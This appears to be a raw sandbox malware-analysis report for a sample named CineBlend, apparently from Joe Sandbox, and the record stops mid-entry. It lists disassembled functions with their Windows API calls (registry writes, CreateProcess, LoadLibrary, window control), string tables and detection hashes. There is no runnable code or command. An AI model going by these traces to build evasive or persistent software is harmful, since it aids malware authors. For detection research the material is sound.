                                    • Part of subcall function 00B91ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B914FD,?), ref: 00B91AF4
                                    • Part of subcall function 00B91ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B914FD,?), ref: 00B91B03
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                  • String ID:
                                  • API String ID: 4175595110-0
                                  • Opcode ID: 7f9e49c89ea0b587481d5ab2aca6886cf8147ef0eebcf7e4f733592fadedaf0a
                                  • Instruction ID: 8f40f1810e224201bbe94c28da6b406be0fffe083cd2aba10ed4ca1aff45ff31
                                  • Opcode Fuzzy Hash: 7f9e49c89ea0b587481d5ab2aca6886cf8147ef0eebcf7e4f733592fadedaf0a
                                  • Instruction Fuzzy Hash: 8E714CB6D0120AABDF10DFA9DC84FAEBBB8FF08310F154675E915A7190DB319A05DB60
                                  Function 00BBCE17 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BBCF1D
                                  • RegCreateKeyExW.ADVAPI32(?,?,00000000,00BCDCD0,00000000,?,00000000,?,?), ref: 00BBCFA4
                                  • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00BBD004
                                  • _wcslen.LIBCMT ref: 00BBD054
                                  • _wcslen.LIBCMT ref: 00BBD0CF
                                  • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00BBD112
                                  • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00BBD221
                                  • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00BBD2AD
                                  • RegCloseKey.ADVAPI32(?), ref: 00BBD2E1
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBD2EE
                                  • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00BBD3C0
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                  • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                  • API String ID: 9721498-966354055
                                  • Opcode ID: 82dadbc0266ac67ca843f65845fd6b4195a25b26eaea50619c60ef3827e3ce2a
                                  • Instruction ID: 05023383ccee9542e12702325da9833a7473237f8760778dcf79817bc0948000
                                  • Opcode Fuzzy Hash: 82dadbc0266ac67ca843f65845fd6b4195a25b26eaea50619c60ef3827e3ce2a
                                  • Instruction Fuzzy Hash: 781276756042019FCB14DF14C881B6ABBF5EF88714F14889CF89A9B3A2DB75ED45CB82
                                  Function 00BC13BA Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CharUpperBuffW.USER32(?,?), ref: 00BC1462
                                  • _wcslen.LIBCMT ref: 00BC149D
                                  • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BC14F0
                                  • _wcslen.LIBCMT ref: 00BC1526
                                  • _wcslen.LIBCMT ref: 00BC15A2
                                  • _wcslen.LIBCMT ref: 00BC161D
                                    • Part of subcall function 00B4FD52: _wcslen.LIBCMT ref: 00B4FD5D
                                    • Part of subcall function 00B93535: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B93547
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$MessageSend$BuffCharUpper
                                  • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                  • API String ID: 1103490817-4258414348
                                  • Opcode ID: 21adb56063c0315f8f3d12a29e05268c8de97e6750f4e31292a0881586c1ebcb
                                  • Instruction ID: 973a356b0b6c370eed94ce423a0583accd47c8f42fe7eec1cd62b4e23b5c558e
                                  • Opcode Fuzzy Hash: 21adb56063c0315f8f3d12a29e05268c8de97e6750f4e31292a0881586c1ebcb
                                  • Instruction Fuzzy Hash: 32E15C756083018FCB14DF28C451A6AB7E1FF95314B1489EDF896AB3A2DB30ED45CB91
                                  Function 00BBD3F8 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$BuffCharUpper
                                  • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                  • API String ID: 1256254125-909552448
                                  • Opcode ID: f343802d45481218db41abd67eea7e8cfe7c1d3d242d9080a7bbe19b2cb5de8c
                                  • Instruction ID: 5db768f80c53846ee0a29f8192c0296462f92bc94f0348c903b81629e987ae4b
                                  • Opcode Fuzzy Hash: f343802d45481218db41abd67eea7e8cfe7c1d3d242d9080a7bbe19b2cb5de8c
                                  • Instruction Fuzzy Hash: 7571C43360052A8BCB209E78C9416FF33E1EB71758B2501E4EC569B294FBB9DD49C7A0
                                  Function 00BC8D97 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • _wcslen.LIBCMT ref: 00BC8DB5
                                  • _wcslen.LIBCMT ref: 00BC8DC9
                                  • _wcslen.LIBCMT ref: 00BC8DEC
                                  • _wcslen.LIBCMT ref: 00BC8E0F
                                  • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00BC8E4D
                                  • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00BC6691), ref: 00BC8EA9
                                  • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BC8EE2
                                  • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00BC8F25
                                  • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BC8F5C
                                  • FreeLibrary.KERNEL32(?), ref: 00BC8F68
                                  • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BC8F78
                                  • DestroyIcon.USER32(?,?,?,?,?,00BC6691), ref: 00BC8F87
                                  • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00BC8FA4
                                  • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00BC8FB0
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
                                  • String ID: .dll$.exe$.icl
                                  • API String ID: 799131459-1154884017
                                  • Opcode ID: 12acc555201b2811c8c2d380bf4d99f02eb16b2595c3ac4fed83c4c4ac35f955
                                  • Instruction ID: 6b036ba9a3b1178bd3e5161d20b15885c2b4baa7db437602dc39b355a48feadc
                                  • Opcode Fuzzy Hash: 12acc555201b2811c8c2d380bf4d99f02eb16b2595c3ac4fed83c4c4ac35f955
                                  • Instruction Fuzzy Hash: 0B61CE71A00219BAEB14DF64CC41FBEB7E8EF08B11F10459AF915E61D1DF74A994CBA0
                                  Function 00BA48BE Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON
                                  Download Yara Rule
                                  APIs
                                  • CharLowerBuffW.USER32(?,?), ref: 00BA493D
                                  • _wcslen.LIBCMT ref: 00BA4948
                                  • _wcslen.LIBCMT ref: 00BA499F
                                  • _wcslen.LIBCMT ref: 00BA49DD
                                  • GetDriveTypeW.KERNEL32(?), ref: 00BA4A1B
                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BA4A63
                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BA4A9E
                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BA4ACC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: SendString_wcslen$BuffCharDriveLowerType
                                  • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                  • API String ID: 1839972693-4113822522
                                  • Opcode ID: ec6f1203643cbe4a6790c17ca9726c156ee591cff91ddd1157398a09d5c65c2f
                                  • Instruction ID: c6a2ae191ea98093df3247e07d3c8242dd85ea128663a8ac0158be854e55f3c0
                                  • Opcode Fuzzy Hash: ec6f1203643cbe4a6790c17ca9726c156ee591cff91ddd1157398a09d5c65c2f
                                  • Instruction Fuzzy Hash: 847100726083059FC310EF28C88197BB7E4EFA9758F1049ADF89697261EB70DD49CB91
                                  Function 00B96382 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadIconW.USER32(00000063), ref: 00B96395
                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B963A7
                                  • SetWindowTextW.USER32(?,?), ref: 00B963BE
                                  • GetDlgItem.USER32(?,000003EA), ref: 00B963D3
                                  • SetWindowTextW.USER32(00000000,?), ref: 00B963D9
                                  • GetDlgItem.USER32(?,000003E9), ref: 00B963E9
                                  • SetWindowTextW.USER32(00000000,?), ref: 00B963EF
                                  • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B96410
                                  • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B9642A
                                  • GetWindowRect.USER32(?,?), ref: 00B96433
                                  • _wcslen.LIBCMT ref: 00B9649A
                                  • SetWindowTextW.USER32(?,?), ref: 00B964D6
                                  • GetDesktopWindow.USER32 ref: 00B964DC
                                  • GetWindowRect.USER32(00000000), ref: 00B964E3
                                  • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00B9653A
                                  • GetClientRect.USER32(?,?), ref: 00B96547
                                  • PostMessageW.USER32(?,00000005,00000000,?), ref: 00B9656C
                                  • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B96596
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                  • String ID:
                                  • API String ID: 895679908-0
                                  • Opcode ID: ad6c4c7b966676d6a6f893d0acb4c4d575de7efefb2d00083a66ca9d56475c60
                                  • Instruction ID: ef11babc5d99a260c8c7bbf40d458300e471d91e860eda1891fb8257ad47bfdf
                                  • Opcode Fuzzy Hash: ad6c4c7b966676d6a6f893d0acb4c4d575de7efefb2d00083a66ca9d56475c60
                                  • Instruction Fuzzy Hash: 2B713C31900609AFDB20DFA8CE85AAEBBF5FF48704F104569E586A36A0DB75E944CB50
                                  Function 00BB086B Relevance: 27.1, APIs: 18, Instructions: 128COMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadCursorW.USER32(00000000,00007F89), ref: 00BB0884
                                  • LoadCursorW.USER32(00000000,00007F8A), ref: 00BB088F
                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00BB089A
                                  • LoadCursorW.USER32(00000000,00007F03), ref: 00BB08A5
                                  • LoadCursorW.USER32(00000000,00007F8B), ref: 00BB08B0
                                  • LoadCursorW.USER32(00000000,00007F01), ref: 00BB08BB
                                  • LoadCursorW.USER32(00000000,00007F81), ref: 00BB08C6
                                  • LoadCursorW.USER32(00000000,00007F88), ref: 00BB08D1
                                  • LoadCursorW.USER32(00000000,00007F80), ref: 00BB08DC
                                  • LoadCursorW.USER32(00000000,00007F86), ref: 00BB08E7
                                  • LoadCursorW.USER32(00000000,00007F83), ref: 00BB08F2
                                  • LoadCursorW.USER32(00000000,00007F85), ref: 00BB08FD
                                  • LoadCursorW.USER32(00000000,00007F82), ref: 00BB0908
                                  • LoadCursorW.USER32(00000000,00007F84), ref: 00BB0913
                                  • LoadCursorW.USER32(00000000,00007F04), ref: 00BB091E
                                  • LoadCursorW.USER32(00000000,00007F02), ref: 00BB0929
                                  • GetCursorInfo.USER32(?), ref: 00BB0939
                                  • GetLastError.KERNEL32 ref: 00BB097B
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Cursor$Load$ErrorInfoLast
                                  • String ID:
                                  • API String ID: 3215588206-0
                                  • Opcode ID: 7a76a2d4fc1afa10f0300d6f02d8ac281cb6311800906202bf0cff9e8a9351e9
                                  • Instruction ID: 80f461d392e7a91e8f409fec0e4b3d63464263b7551ffa02b945a00e47673dd2
                                  • Opcode Fuzzy Hash: 7a76a2d4fc1afa10f0300d6f02d8ac281cb6311800906202bf0cff9e8a9351e9
                                  • Instruction Fuzzy Hash: 7D4152B0D083196BDB109FBA8C89C6EBFE8FF04754B50456AE15CE7291DA78D801CF91
                                  Function 00B50436 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                  Download Yara Rule
                                  APIs
                                  • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00B50436
                                    • Part of subcall function 00B5045D: InitializeCriticalSectionAndSpinCount.KERNEL32(00C0170C,00000FA0,63BEDCC7,?,?,?,?,00B72733,000000FF), ref: 00B5048C
                                    • Part of subcall function 00B5045D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00B72733,000000FF), ref: 00B50497
                                    • Part of subcall function 00B5045D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00B72733,000000FF), ref: 00B504A8
                                    • Part of subcall function 00B5045D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00B504BE
                                    • Part of subcall function 00B5045D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B504CC
                                    • Part of subcall function 00B5045D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B504DA
                                    • Part of subcall function 00B5045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B50505
                                    • Part of subcall function 00B5045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B50510
                                  • ___scrt_fastfail.LIBCMT ref: 00B50457
                                    • Part of subcall function 00B50413: __onexit.LIBCMT ref: 00B50419
                                  Strings
                                  • api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B50492
                                  • kernel32.dll, xrefs: 00B504A3
                                  • InitializeConditionVariable, xrefs: 00B504B8
                                  • SleepConditionVariableCS, xrefs: 00B504C4
                                  • WakeAllConditionVariable, xrefs: 00B504D2
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                  • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                  • API String ID: 66158676-1714406822
                                  • Opcode ID: 322078a181aec5dc996321bb16f66fdcbfc0d1e6122799b59d49a13ca71f20f5
                                  • Instruction ID: 36109c6ecf8d2b86aeee1f2e00c16e60c9dafd4338ace0fd4c3633f660a6b141
                                  • Opcode Fuzzy Hash: 322078a181aec5dc996321bb16f66fdcbfc0d1e6122799b59d49a13ca71f20f5
                                  • Instruction Fuzzy Hash: 6221D436A647056BD7213BA8AC46F69B7E4EF08B62F0401F6FD05A3390EF709C048A55
                                  Function 00B93A43 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen
                                  • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                  • API String ID: 176396367-1603158881
                                  • Opcode ID: a180a0d9c97474288f09b2e77cf733d07e09ee92b7ed8daaa8350db585c6550e
                                  • Instruction ID: 3bb92695147a84b3518c4d709f559e50a0dd58b9a2f37fa997c271910560e6a3
                                  • Opcode Fuzzy Hash: a180a0d9c97474288f09b2e77cf733d07e09ee92b7ed8daaa8350db585c6550e
                                  • Instruction Fuzzy Hash: B3E1A132A00A16ABCF149FA4C4917EDBBF4FF54B10F1441B9E956E7250DB309E8997A0
                                  Function 00BA4F05 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON
                                  Download Yara Rule
                                  APIs
                                  • CharLowerBuffW.USER32(00000000,00000000,00BCDCD0), ref: 00BA4F6C
                                  • _wcslen.LIBCMT ref: 00BA4F80
                                  • _wcslen.LIBCMT ref: 00BA4FDE
                                  • _wcslen.LIBCMT ref: 00BA5039
                                  • _wcslen.LIBCMT ref: 00BA5084
                                  • _wcslen.LIBCMT ref: 00BA50EC
                                    • Part of subcall function 00B4FD52: _wcslen.LIBCMT ref: 00B4FD5D
                                  • GetDriveTypeW.KERNEL32(?,00BF7C10,00000061), ref: 00BA5188
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$BuffCharDriveLowerType
                                  • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                  • API String ID: 2055661098-1000479233
                                  • Opcode ID: a2cc86bd3f2da638105c71b1afd3d426c48386576b7c4778e66262b7b2106f1c
                                  • Instruction ID: 368bec15ac81a30a2822b095373991cde6f1b65d4585aece48cccc234f84db9a
                                  • Opcode Fuzzy Hash: a2cc86bd3f2da638105c71b1afd3d426c48386576b7c4778e66262b7b2106f1c
                                  • Instruction Fuzzy Hash: 29B1F37160C7029FC320DF28C890A7AB7E5FFA6724F50499DF59687292DB70D984CB92
                                  Function 00BBBA59 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON
                                  Download Yara Rule
                                  APIs
                                  • _wcslen.LIBCMT ref: 00BBBBF8
                                  • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BBBC10
                                  • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BBBC34
                                  • _wcslen.LIBCMT ref: 00BBBC60
                                  • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BBBC74
                                  • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BBBC96
                                  • _wcslen.LIBCMT ref: 00BBBD92
                                    • Part of subcall function 00BA0F4E: GetStdHandle.KERNEL32(000000F6), ref: 00BA0F6D
                                  • _wcslen.LIBCMT ref: 00BBBDAB
                                  • _wcslen.LIBCMT ref: 00BBBDC6
                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00BBBE16
                                  • GetLastError.KERNEL32(00000000), ref: 00BBBE67
                                  • CloseHandle.KERNEL32(?), ref: 00BBBE99
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBBEAA
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBBEBC
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBBECE
                                  • CloseHandle.KERNEL32(?), ref: 00BBBF43
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
                                  • String ID:
                                  • API String ID: 2178637699-0
                                  • Opcode ID: c18fb48e036a12edd935e1d349d2a9c43087740103dd56f6d96209eecd3e7add
                                  • Instruction ID: dea39157a4b8b0c1426151d2919f0248692b9d6e6e82ff395f79ecaa8b0efa06
                                  • Opcode Fuzzy Hash: c18fb48e036a12edd935e1d349d2a9c43087740103dd56f6d96209eecd3e7add
                                  • Instruction Fuzzy Hash: 5EF18B716087409FC714EF24C891FAABBE1EF85314F14899DF8859B2A2CBB1EC45CB52
                                  Function 00BB4A46 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,00BCDCD0), ref: 00BB4B18
                                  • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00BB4B2A
                                  • GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00BCDCD0), ref: 00BB4B4F
                                  • FreeLibrary.KERNEL32(00000000,?,00BCDCD0), ref: 00BB4B9B
                                  • StringFromGUID2.OLE32(?,?,00000028,?,00BCDCD0), ref: 00BB4C05
                                  • SysFreeString.OLEAUT32(00000009), ref: 00BB4CBF
                                  • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00BB4D25
                                  • SysFreeString.OLEAUT32(?), ref: 00BB4D4F
                                  Strings
                                  Memory Dump Source
